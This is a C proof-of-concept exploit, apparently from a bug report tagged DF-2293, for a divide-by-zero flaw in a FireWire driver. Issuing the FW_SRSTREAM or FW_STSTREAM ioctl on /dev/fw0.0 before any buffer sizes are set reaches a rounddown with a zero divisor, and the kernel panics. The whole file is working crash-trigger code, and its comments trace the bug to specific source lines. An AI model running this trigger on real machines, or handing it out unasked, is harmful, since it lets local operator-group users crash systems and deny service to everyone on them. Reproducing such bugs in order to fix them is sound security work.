/*
 * DF-2293 PoC -- FW_STSTREAM / FW_SRSTREAM with zero bufreq.psize
 * (no FW_SSTBUF issued first) reaches fwdev_allocbuf (fwdev.c:94) with
 * psize=0, which forwards it to fwdma_malloc_multiseg (fwdma.c:145);
 * fwdma.c:159 `ssize = rounddown(PAGE_SIZE, esize)` divides by zero and
 * panics the kernel.
 *
 * Run as an operator-group user against /dev/fw0.0 (0660 root:operator).
 * Expected: kernel panic ("divide error" / integer divide trap), no
 * ioctl(2) return.
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>
#include <sys/ioctl.h>

/* self-contained copies from sys/bus/firewire/firewire.h */
struct fw_isochreq { unsigned char ch:6, tag:2; };
struct fw_bufspec { unsigned int nchunk; unsigned int npacket; unsigned int psize; };
struct fw_isobufreq { struct fw_bufspec tx, rx; };
#define FW_SSTBUF	_IOWR('S', 86, struct fw_isobufreq)
#define FW_SRSTREAM	_IOWR('S', 88, struct fw_isochreq)
#define FW_STSTREAM	_IOWR('S', 90, struct fw_isochreq)

_Static_assert(sizeof(struct fw_isochreq) == 1, "fw_isochreq layout");
_Static_assert(sizeof(struct fw_isobufreq) == 24, "fw_isobufreq layout");

int
main(int argc, char **argv)
{
	struct fw_isochreq ich;
	int fd, rc;
	const char *mode = (argc > 1) ? argv[1] : "sr";

	printf("DF-2293: open /dev/fw0.0 and issue FW_%s with zero "
	    "bufreq.psize (no FW_SSTBUF first)\n",
	    (strcmp(mode, "sr") == 0) ? "SRSTREAM" : "STSTREAM");

	fd = open("/dev/fw0.0", O_RDWR);
	if (fd < 0) {
		perror("open /dev/fw0.0");
		printf("DF-2293: FAIL-OPEN errno=%d\n", errno);
		return 1;
	}
	printf("DF-2293: opened fd=%d (uid=%d gid=%d)\n", fd, getuid(), getgid());

	memset(&ich, 0, sizeof(ich));
	ich.ch = 63;
	ich.tag = 0;

	/* d->bufreq was kmalloc'd M_ZERO in fw_open (fwdev.c:179): tx/rx
	 * psize == nchunk == npacket == 0.  fwdev_allocbuf -> fwdma with
	 * esize=0 -> rounddown(PAGE_SIZE, 0) -> divide-by-zero panic. */
	rc = ioctl(fd, (strcmp(mode, "sr") == 0) ? FW_SRSTREAM : FW_STSTREAM,
	    &ich);

	/* NOT REACHED on the vulnerable kernel */
	printf("DF-2293: ioctl returned rc=%d errno=%d -- NO PANIC\n", rc, errno);
	printf("DF-2293: NOT_REPRODUCED_ON_THIS_KERNEL\n");
	return 2;
}
